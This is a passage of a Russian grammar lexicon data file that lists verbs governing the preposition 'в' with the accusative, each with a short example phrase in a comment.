rus_verbs:разъезжаться{}, // разъезжаться в разные стороны rus_verbs:пропыхтеть{}, // пропыхтеть в трубку rus_verbs:уволочь{}, // уволочь в нору rus_verbs:отодвигаться{}, // отодвигаться в сторону rus_verbs:разливать{}, // разливать в стаканы rus_verbs:сбегаться{}, // сбегаться в актовый зал rus_verbs:наведаться{}, // наведаться в кладовку rus_verbs:перекочевать{}, // перекочевать в горы rus_verbs:прощебетать{}, // прощебетать в трубку rus_verbs:перекладывать{}, // перекладывать в другой карман rus_verbs:углубляться{}, // углубляться в теорию rus_verbs:переименовать{}, // переименовать в город rus_verbs:переметнуться{}, // переметнуться в лагерь противника rus_verbs:разносить{}, // разносить в щепки rus_verbs:осыпаться{}, // осыпаться в холода rus_verbs:попроситься{}, // попроситься в туалет rus_verbs:уязвить{}, // уязвить в сердце rus_verbs:перетащить{}, // перетащить в дом rus_verbs:закутаться{}, // закутаться в плед // rus_verbs:упаковать{}, // упаковать в бумагу инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость rus_verbs:хихикать{}, // хихикать в кулачок rus_verbs:объединить{}, // объединить в сеть инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию деепричастие:слетав{}, rus_verbs:заползти{}, // заползти в норку rus_verbs:перерасти{}, // перерасти в крупную аферу rus_verbs:списать{}, // списать в утиль rus_verbs:просачиваться{}, // просачиваться в бункер rus_verbs:пускаться{}, // пускаться в погоню rus_verbs:согревать{}, // согревать в мороз rus_verbs:наливаться{}, // наливаться в емкость rus_verbs:унестись{}, // унестись в небо rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф rus_verbs:сигануть{}, // сигануть в воду rus_verbs:окунуть{}, // окунуть в ледяную воду rus_verbs:просочиться{}, // просочиться в сапог rus_verbs:соваться{}, // соваться в толпу rus_verbs:протолкаться{}, // протолкаться в гардероб rus_verbs:заложить{}, // заложить в ломбард rus_verbs:перекатить{}, // перекатить в сарай rus_verbs:поставлять{}, // поставлять в Китай rus_verbs:залезать{}, // залезать в долги rus_verbs:отлучаться{}, // отлучаться в туалет rus_verbs:сбиваться{}, // сбиваться в кучу rus_verbs:зарыть{}, // зарыть в землю rus_verbs:засадить{}, // засадить в тело rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь rus_verbs:переставить{}, // переставить в шкаф rus_verbs:отчалить{}, // отчалить в плавание rus_verbs:набираться{}, // набираться в команду rus_verbs:лягнуть{}, // лягнуть в живот rus_verbs:притворить{}, // притворить в жизнь rus_verbs:проковылять{}, // проковылять в гардероб rus_verbs:прикатить{}, // прикатить в гараж rus_verbs:залететь{}, // залететь в окно rus_verbs:переделать{}, // переделать в мопед rus_verbs:протащить{}, // протащить в совет rus_verbs:обмакнуть{}, // обмакнуть в воду rus_verbs:отклоняться{}, // отклоняться в сторону rus_verbs:запихать{}, // запихать в пакет rus_verbs:избирать{}, // избирать в совет rus_verbs:загрузить{}, // загрузить в буфер rus_verbs:уплывать{}, // уплывать в Париж rus_verbs:забивать{}, // забивать в мерзлоту rus_verbs:потыкать{}, // потыкать в безжизненную тушу rus_verbs:съезжаться{}, // съезжаться в санаторий rus_verbs:залепить{}, // залепить в рыло rus_verbs:набиться{}, // набиться в карманы rus_verbs:уползти{}, // уползти в нору rus_verbs:упрятать{}, // упрятать в камеру rus_verbs:переместить{}, // переместить в камеру анабиоза rus_verbs:закрасться{}, // закрасться в душу rus_verbs:сместиться{}, // сместиться в инфракрасную область rus_verbs:запускать{}, // запускать в серию rus_verbs:потрусить{}, // потрусить в чащобу rus_verbs:забрасывать{}, // забрасывать в чистую воду rus_verbs:переселить{}, // переселить в отдаленную деревню rus_verbs:переезжать{}, // переезжать в новую квартиру rus_verbs:приподнимать{}, // приподнимать в воздух rus_verbs:добавиться{}, // добавиться в конец очереди rus_verbs:убыть{}, // убыть в часть rus_verbs:передвигать{}, // передвигать в соседнюю клетку rus_verbs:добавляться{}, // добавляться в очередь rus_verbs:дописать{}, // дописать в перечень rus_verbs:записываться{}, // записываться в кружок rus_verbs:продаться{}, // продаться в кредитное рабство rus_verbs:переписывать{}, // переписывать в тетрадку rus_verbs:заплыть{}, // заплыть в территориальные воды инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" }, rus_verbs:отбирать{}, // отбирать в гвардию rus_verbs:нашептывать{}, // нашептывать в микрофон rus_verbs:ковылять{}, // ковылять в стойло rus_verbs:прилетать{}, // прилетать в Париж rus_verbs:пролиться{}, // пролиться в канализацию rus_verbs:запищать{}, // запищать в микрофон rus_verbs:подвезти{}, // подвезти в больницу rus_verbs:припереться{}, // припереться в театр rus_verbs:утечь{}, // утечь в сеть rus_verbs:прорываться{}, // прорываться в буфет rus_verbs:увозить{}, // увозить в ремонт rus_verbs:съедать{}, // съедать в обед rus_verbs:просунуться{}, // просунуться в дверь rus_verbs:перенестись{}, // перенестись в прошлое rus_verbs:завезти{}, // завезти в магазин rus_verbs:проложить{}, // проложить в деревню rus_verbs:объединяться{}, // объединяться в профсоюз rus_verbs:развиться{}, // развиться в бабочку rus_verbs:засеменить{}, // засеменить в кабинку rus_verbs:скатываться{}, // скатываться в яму rus_verbs:завозиться{}, // завозиться в магазин rus_verbs:нанимать{}, // нанимать в рейс rus_verbs:поспеть{}, // поспеть в класс rus_verbs:кидаться{}, // кинаться в крайности rus_verbs:поспевать{}, // поспевать в оперу rus_verbs:обернуть{}, // обернуть в фольгу rus_verbs:обратиться{}, // обратиться в прокуратуру rus_verbs:истолковать{}, // истолковать в свою пользу rus_verbs:таращиться{}, // таращиться в дисплей rus_verbs:прыснуть{}, // прыснуть в кулачок rus_verbs:загнуть{}, // загнуть в другую сторону rus_verbs:раздать{}, // раздать в разные руки rus_verbs:назначить{}, // назначить в приемную комиссию rus_verbs:кидать{}, // кидать в кусты rus_verbs:увлекать{}, // увлекать в лес rus_verbs:переселиться{}, // переселиться в чужое тело rus_verbs:присылать{}, // присылать в город rus_verbs:уплыть{}, // уплыть в Европу rus_verbs:запричитать{}, // запричитать в полный голос rus_verbs:утащить{}, // утащить в логово rus_verbs:завернуться{}, // завернуться в плед rus_verbs:заносить{}, // заносить в блокнот rus_verbs:пятиться{}, // пятиться в дом rus_verbs:наведываться{}, // наведываться в больницу rus_verbs:нырять{}, // нырять в прорубь rus_verbs:зачастить{}, // зачастить в бар rus_verbs:назначаться{}, // назначается в комиссию rus_verbs:мотаться{}, // мотаться в областной центр rus_verbs:разыграть{}, // разыграть в карты rus_verbs:пропищать{}, // пропищать в микрофон rus_verbs:пихнуть{}, // пихнуть в бок rus_verbs:эмигрировать{}, // эмигрировать в Канаду rus_verbs:подключить{}, // подключить в сеть rus_verbs:упереть{}, // упереть в фундамент rus_verbs:уплатить{}, // уплатить в кассу rus_verbs:потащиться{}, // потащиться в медпункт rus_verbs:пригнать{}, // пригнать в стойло rus_verbs:оттеснить{}, // оттеснить в фойе rus_verbs:стучаться{}, // стучаться в ворота rus_verbs:перечислить{}, // перечислить в фонд rus_verbs:сомкнуть{}, // сомкнуть в круг rus_verbs:закачаться{}, // закачаться в резервуар rus_verbs:кольнуть{}, // кольнуть в бок rus_verbs:накрениться{}, // накрениться в сторону берега rus_verbs:подвинуться{}, // подвинуться в другую сторону rus_verbs:разнести{}, // разнести в клочья rus_verbs:отливать{}, // отливать в форму rus_verbs:подкинуть{}, // подкинуть в карман rus_verbs:уводить{}, // уводить в кабинет rus_verbs:ускакать{}, // ускакать в школу rus_verbs:ударять{}, // ударять в барабаны rus_verbs:даться{}, // даться в руки rus_verbs:поцеловаться{}, // поцеловаться в губы rus_verbs:посветить{}, // посветить в подвал rus_verbs:тыкать{}, // тыкать в арбуз rus_verbs:соединяться{}, // соединяться в кольцо rus_verbs:растянуть{}, // растянуть в тонкую ниточку rus_verbs:побросать{}, // побросать в пыль rus_verbs:стукнуться{}, // стукнуться в закрытую дверь rus_verbs:проигрывать{}, // проигрывать в теннис rus_verbs:дунуть{}, // дунуть в трубочку rus_verbs:улетать{}, // улетать в Париж rus_verbs:переводиться{}, // переводиться в филиал rus_verbs:окунуться{}, // окунуться в водоворот событий rus_verbs:попрятаться{}, // попрятаться в норы rus_verbs:перевезти{}, // перевезти в соседнюю палату rus_verbs:топать{}, // топать в школу rus_verbs:относить{}, // относить в помещение rus_verbs:укладывать{}, // укладывать в стопку rus_verbs:укатить{}, // укатил в турне rus_verbs:убирать{}, // убирать в сумку rus_verbs:помалкивать{}, // помалкивать в тряпочку rus_verbs:ронять{}, // ронять в грязь rus_verbs:глазеть{}, // глазеть в бинокль rus_verbs:преобразиться{}, // преобразиться в другого человека rus_verbs:запрыгнуть{}, // запрыгнуть в поезд rus_verbs:сгодиться{}, // сгодиться в суп rus_verbs:проползти{}, // проползти в нору rus_verbs:забираться{}, // забираться в коляску rus_verbs:сбежаться{}, // сбежались в класс rus_verbs:закатиться{}, // закатиться в угол rus_verbs:плевать{}, // плевать в душу rus_verbs:поиграть{}, // поиграть в демократию rus_verbs:кануть{}, // кануть в небытие rus_verbs:опаздывать{}, // опаздывать в школу rus_verbs:отползти{}, // отползти в сторону rus_verbs:стекаться{}, // стекаться в отстойник rus_verbs:запихнуть{}, // запихнуть в пакет rus_verbs:вышвырнуть{}, // вышвырнуть в коридор rus_verbs:связываться{}, // связываться в плотный узел rus_verbs:затолкать{}, // затолкать в ухо rus_verbs:скрутить{}, // скрутить в трубочку rus_verbs:сворачивать{}, // сворачивать в трубочку rus_verbs:сплестись{}, // сплестись в узел rus_verbs:заскочить{}, // заскочить в кабинет rus_verbs:проваливаться{}, // проваливаться в сон rus_verbs:уверовать{}, // уверовать в свою безнаказанность rus_verbs:переписать{}, // переписать в тетрадку rus_verbs:переноситься{}, // переноситься в мир фантазий rus_verbs:заводить{}, // заводить в помещение rus_verbs:сунуться{}, // сунуться в аудиторию rus_verbs:устраиваться{}, // устраиваться в автомастерскую rus_verbs:пропускать{}, // пропускать в зал инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш }, деепричастие:сбегая{}, деепричастие:сбегав{}, rus_verbs:прибегать{}, // прибегать в школу rus_verbs:съездить{}, // съездить в лес rus_verbs:захлопать{}, // захлопать в ладошки rus_verbs:опрокинуться{}, // опрокинуться в грязь инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш }, деепричастие:насыпая{}, деепричастие:насыпав{}, rus_verbs:употреблять{}, // употреблять в пищу rus_verbs:приводиться{}, // приводиться в действие rus_verbs:пристроить{}, // пристроить в надежные руки rus_verbs:юркнуть{}, // юркнуть в нору rus_verbs:объединиться{}, // объединиться в банду rus_verbs:сажать{}, // сажать в одиночку rus_verbs:соединить{}, // соединить в кольцо rus_verbs:забрести{}, // забрести в кафешку rus_verbs:свернуться{}, // свернуться в клубочек rus_verbs:пересесть{}, // пересесть в другой автобус rus_verbs:постучаться{}, // постучаться в дверцу rus_verbs:соединять{}, // соединять в кольцо rus_verbs:приволочь{}, // приволочь в коморку rus_verbs:смахивать{}, // смахивать в ящик стола rus_verbs:забежать{}, // забежать в помещение rus_verbs:целиться{}, // целиться в беглеца rus_verbs:прокрасться{}, // прокрасться в хранилище rus_verbs:заковылять{}, // заковылять в травтамологию rus_verbs:прискакать{}, // прискакать в стойло rus_verbs:колотить{}, // колотить в дверь rus_verbs:смотреться{}, // смотреться в зеркало rus_verbs:подложить{}, // подложить в салон rus_verbs:пущать{}, // пущать в королевские покои rus_verbs:согнуть{}, // согнуть в дугу rus_verbs:забарабанить{}, // забарабанить в дверь rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы rus_verbs:убраться{}, // убраться в специальную нишу rus_verbs:насмотреться{}, // насмотреться в зеркало rus_verbs:чмокнуть{}, // чмокнуть в щечку rus_verbs:усмехаться{}, // усмехаться в бороду rus_verbs:передвинуть{}, // передвинуть в конец очереди rus_verbs:допускаться{}, // допускаться в опочивальню rus_verbs:задвинуть{}, // задвинуть в дальний угол rus_verbs:отправлять{}, // отправлять в центр rus_verbs:сбрасывать{}, // сбрасывать в жерло rus_verbs:расстреливать{}, // расстреливать в момент обнаружения rus_verbs:заволочь{}, // заволочь в закуток rus_verbs:пролить{}, // пролить в воду rus_verbs:зарыться{}, // зарыться в сено rus_verbs:переливаться{}, // переливаться в емкость rus_verbs:затащить{}, // затащить в клуб rus_verbs:перебежать{}, // перебежать в лагерь врагов rus_verbs:одеть{}, // одеть в новое платье инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу деепричастие:задвигаясь{}, rus_verbs:клюнуть{}, // клюнуть в темечко rus_verbs:наливать{}, // наливать в кружку rus_verbs:пролезть{}, // пролезть в ушко rus_verbs:откладывать{}, // откладывать в ящик rus_verbs:протянуться{}, // протянуться в соседний дом rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь rus_verbs:устанавливать{}, // устанавливать в машину rus_verbs:употребляться{}, // употребляться в пищу rus_verbs:переключиться{}, // переключиться в реверсный режим rus_verbs:пискнуть{}, // пискнуть в микрофон rus_verbs:заявиться{}, // заявиться в класс rus_verbs:налиться{}, // налиться в стакан rus_verbs:заливать{}, // заливать в бак rus_verbs:ставиться{}, // ставиться в очередь инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны деепричастие:писаясь{}, rus_verbs:целоваться{}, // целоваться в губы rus_verbs:наносить{}, // наносить в область сердца rus_verbs:посмеяться{}, // посмеяться в кулачок rus_verbs:употребить{}, // употребить в пищу rus_verbs:прорваться{}, // прорваться в столовую rus_verbs:укладываться{}, // укладываться в ровные стопки rus_verbs:пробиться{}, // пробиться в финал rus_verbs:забить{}, // забить в землю rus_verbs:переложить{}, // переложить в другой карман rus_verbs:опускать{}, // опускать в свежевырытую могилу rus_verbs:поторопиться{}, // поторопиться в школу rus_verbs:сдвинуться{}, // сдвинуться в сторону rus_verbs:капать{}, // капать в смесь rus_verbs:погружаться{}, // погружаться во тьму rus_verbs:направлять{}, // направлять в кабинку rus_verbs:погрузить{}, // погрузить во тьму rus_verbs:примчаться{}, // примчаться в школу rus_verbs:упираться{}, // упираться в дверь rus_verbs:удаляться{}, // удаляться в комнату совещаний rus_verbs:ткнуться{}, // ткнуться в окошко rus_verbs:убегать{}, // убегать в чащу rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру rus_verbs:наговорить{}, // наговорить в микрофон rus_verbs:переносить{}, // переносить в дом rus_verbs:прилечь{}, // прилечь в кроватку rus_verbs:поворачивать{}, // поворачивать в обратную сторону rus_verbs:проскочить{}, // проскочить в щель rus_verbs:совать{}, // совать в духовку rus_verbs:переодеться{}, // переодеться в чистую одежду rus_verbs:порвать{}, // порвать в лоскуты rus_verbs:завязать{}, // завязать в бараний рог rus_verbs:съехать{}, // съехать в кювет rus_verbs:литься{}, // литься в канистру rus_verbs:уклониться{}, // уклониться в левую сторону rus_verbs:смахнуть{}, // смахнуть в мусорное ведро rus_verbs:спускать{}, // спускать в шахту rus_verbs:плеснуть{}, // плеснуть в воду rus_verbs:подуть{}, // подуть в угольки rus_verbs:набирать{}, // набирать в команду rus_verbs:хлопать{}, // хлопать в ладошки rus_verbs:ранить{}, // ранить в самое сердце rus_verbs:посматривать{}, // посматривать в иллюминатор rus_verbs:превращать{}, // превращать воду в вино rus_verbs:толкать{}, // толкать в пучину rus_verbs:отбыть{}, // отбыть в расположение части rus_verbs:сгрести{}, // сгрести в карман rus_verbs:удрать{}, // удрать в тайгу rus_verbs:пристроиться{}, // пристроиться в хорошую фирму rus_verbs:сбиться{}, // сбиться в плотную группу rus_verbs:заключать{}, // заключать в объятия rus_verbs:отпускать{}, // отпускать в поход rus_verbs:устремить{}, // устремить взгляд в будущее rus_verbs:обронить{}, // обронить в траву rus_verbs:сливаться{}, // сливаться в речку rus_verbs:стекать{}, // стекать в канаву rus_verbs:свалить{}, // свалить в кучу rus_verbs:подтянуть{}, // подтянуть в кабину rus_verbs:скатиться{}, // скатиться в канаву rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь rus_verbs:заторопиться{}, // заторопиться в буфет rus_verbs:протиснуться{}, // протиснуться в центр толпы rus_verbs:прятать{}, // прятать в укромненькое местечко rus_verbs:пропеть{}, // пропеть в микрофон rus_verbs:углубиться{}, // углубиться в джунгли rus_verbs:сползти{}, // сползти в яму rus_verbs:записывать{}, // записывать в память rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР) rus_verbs:колотиться{}, // колотиться в дверь rus_verbs:просунуть{}, // просунуть в отверстие rus_verbs:провожать{}, // провожать в армию rus_verbs:катить{}, // катить в гараж rus_verbs:поражать{}, // поражать в самое сердце rus_verbs:отлететь{}, // отлететь в дальний угол rus_verbs:закинуть{}, // закинуть в речку rus_verbs:катиться{}, // катиться в пропасть rus_verbs:забросить{}, // забросить в дальний угол rus_verbs:отвезти{}, // отвезти в лагерь rus_verbs:втопить{}, // втопить педаль в пол rus_verbs:втапливать{}, // втапливать педать в пол rus_verbs:утопить{}, // утопить кнопку в панель rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?) rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег rus_verbs:поскакать{}, // поскакать в атаку rus_verbs:прицелиться{}, // прицелиться в бегущего зайца rus_verbs:прыгать{}, // прыгать в кровать rus_verbs:приглашать{}, // приглашать в дом rus_verbs:понестись{}, // понестись в ворота rus_verbs:заехать{}, // заехать в гаражный бокс rus_verbs:опускаться{}, // опускаться в бездну rus_verbs:переехать{}, // переехать в коттедж rus_verbs:поместить{}, // поместить в карантин rus_verbs:ползти{}, // ползти в нору rus_verbs:добавлять{}, // добавлять в корзину rus_verbs:уткнуться{}, // уткнуться в подушку rus_verbs:продавать{}, // продавать в рабство rus_verbs:спрятаться{}, // Белка спрячется в дупло. rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию rus_verbs:воткнуть{}, // воткни вилку в розетку rus_verbs:нести{}, // нести в больницу rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку rus_verbs:впаивать{}, // впаивать деталь в плату rus_verbs:впаиваться{}, // деталь впаивается в плату rus_verbs:впархивать{}, // впархивать в помещение rus_verbs:впаять{}, // впаять деталь в плату rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат rus_verbs:вперивать{}, // вперивать взгляд в экран rus_verbs:впериваться{}, // впериваться в экран rus_verbs:вперить{}, // вперить взгляд в экран rus_verbs:впериться{}, // впериться в экран rus_verbs:вперять{}, // вперять взгляд в экран rus_verbs:вперяться{}, // вперяться в экран rus_verbs:впечатать{}, // впечатать текст в первую главу rus_verbs:впечататься{}, // впечататься в стену rus_verbs:впечатывать{}, // впечатывать текст в первую главу rus_verbs:впечатываться{}, // впечатываться в стену rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами rus_verbs:впитаться{}, // Жидкость впиталась в ткань rus_verbs:впитываться{}, // Жидкость впитывается в ткань rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник rus_verbs:вплавиться{}, // Провод вплавился в плату rus_verbs:вплеснуть{}, // вплеснуть краситель в бак rus_verbs:вплести{}, // вплести ленту в волосы rus_verbs:вплестись{}, // вплестись в волосы rus_verbs:вплетать{}, // вплетать ленты в волосы rus_verbs:вплывать{}, // корабль вплывает в порт rus_verbs:вплыть{}, // яхта вплыла в бухту rus_verbs:вползать{}, // дракон вползает в пещеру rus_verbs:вползти{}, // дракон вполз в свою пещеру rus_verbs:впорхнуть{}, // бабочка впорхнула в окно rus_verbs:впрессовать{}, // впрессовать деталь в плиту rus_verbs:впрессоваться{}, // впрессоваться в плиту rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту rus_verbs:впрессовываться{}, // впрессовываться в плиту rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания rus_verbs:впрягать{}, // впрягать лошадь в телегу rus_verbs:впрягаться{}, // впрягаться в работу rus_verbs:впрячь{}, // впрячь лошадь в телегу rus_verbs:впрячься{}, // впрячься в работу rus_verbs:впускать{}, // впускать посетителей в музей rus_verbs:впускаться{}, // впускаться в помещение rus_verbs:впустить{}, // впустить посетителей в музей rus_verbs:впутать{}, // впутать кого-то во что-то rus_verbs:впутаться{}, // впутаться во что-то rus_verbs:впутывать{}, // впутывать кого-то во что-то rus_verbs:впутываться{}, // впутываться во что-то rus_verbs:врабатываться{}, // врабатываться в режим rus_verbs:вработаться{}, // вработаться в режим rus_verbs:врастать{}, // врастать в кожу rus_verbs:врасти{}, // врасти в кожу инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь инфинитив:врезать{ вид:соверш }, глагол:врезать{ вид:несоверш }, глагол:врезать{ вид:соверш }, деепричастие:врезая{}, деепричастие:врезав{}, прилагательное:врезанный{}, инфинитив:врезаться{ вид:несоверш }, // врезаться в стену инфинитив:врезаться{ вид:соверш }, глагол:врезаться{ вид:несоверш }, деепричастие:врезаясь{}, деепричастие:врезавшись{}, rus_verbs:врубить{}, // врубить в нагрузку rus_verbs:врываться{}, // врываться в здание rus_verbs:закачивать{}, // Насос закачивает топливо в бак rus_verbs:ввезти{}, // Предприятие ввезло товар в страну rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу rus_verbs:ввивать{}, // Женщина ввивает полоску в косу rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека rus_verbs:вламываться{}, // Полиция вламывается в квартиру rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом rus_verbs:вовлечься{}, // вовлечься в занятие спортом rus_verbs:спуститься{}, // спуститься в подвал rus_verbs:спускаться{}, // спускаться в подвал rus_verbs:отправляться{}, // отправляться в дальнее плавание инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство инфинитив:эмитировать{ вид:несоверш }, глагол:эмитировать{ вид:соверш }, глагол:эмитировать{ вид:несоверш }, деепричастие:эмитируя{}, деепричастие:эмитировав{}, прилагательное:эмитировавший{ вид:несоверш }, // прилагательное:эмитировавший{ вид:соверш }, прилагательное:эмитирующий{}, прилагательное:эмитируемый{}, прилагательное:эмитированный{}, инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию инфинитив:этапировать{вид:соверш}, глагол:этапировать{вид:несоверш}, глагол:этапировать{вид:соверш}, деепричастие:этапируя{}, прилагательное:этапируемый{}, прилагательное:этапированный{}, rus_verbs:этапироваться{}, // Преступники этапируются в колонию rus_verbs:баллотироваться{}, // они баллотировались в жюри rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну rus_verbs:бросать{}, // Они бросали в фонтан медные монетки rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:бросить{}, // Он бросил в фонтан медную монетку rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя rus_verbs:буксировать{}, // Буксир буксирует танкер в порт rus_verbs:буксироваться{}, // Сухогруз буксируется в порт rus_verbs:вбегать{}, // Курьер вбегает в дверь rus_verbs:вбежать{}, // Курьер вбежал в дверь rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту rus_verbs:вбиваться{}, // Штырь вбивается в плиту rus_verbs:вбирать{}, // Вата вбирает в себя влагу rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру rus_verbs:вбросить{}, // Судья вбросил мяч в игру rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту rus_verbs:ввариваться{}, // Арматура вваривается в плиту rus_verbs:вварить{}, // Робот вварил арматурину в плиту rus_verbs:влезть{}, // Предприятие ввезло товар в страну rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача rus_verbs:вверяться{}, // Пациент вверяется в руки врача rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров rus_verbs:ввиваться{}, // полоска ввивается в косу rus_verbs:ввинтить{}, // Отвертка ввинтила шуруп в дерево rus_verbs:ввинтиться{}, // Шуруп ввинтился в дерево rus_verbs:ввинчивать{}, // Рука ввинчивает саморез в стену rus_verbs:ввинчиваться{}, // Саморез ввинчивается в стену rus_verbs:вводить{}, // Агенство вводит своего представителя в совет директоров rus_verbs:вводиться{}, // Представитель агенства вводится в совет директоров // rus_verbs:ввозить{}, // Фирма ввозит в страну станки и сырье rus_verbs:ввозиться{}, // Станки и сырье ввозятся в страну rus_verbs:вволакивать{}, // Пойманная мышь вволакивается котиком в дом rus_verbs:вворачивать{}, // Электрик вворачивает новую лампочку в патрон rus_verbs:вворачиваться{}, // Новая лампочка легко вворачивается в патрон rus_verbs:ввязаться{}, // Разведрота ввязалась в бой rus_verbs:ввязываться{}, // Передовые части ввязываются в бой rus_verbs:вглядеться{}, // Охранник вгляделся в темный коридор rus_verbs:вглядываться{}, // Охранник внимательно вглядывается в монитор rus_verbs:вгонять{}, // Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в 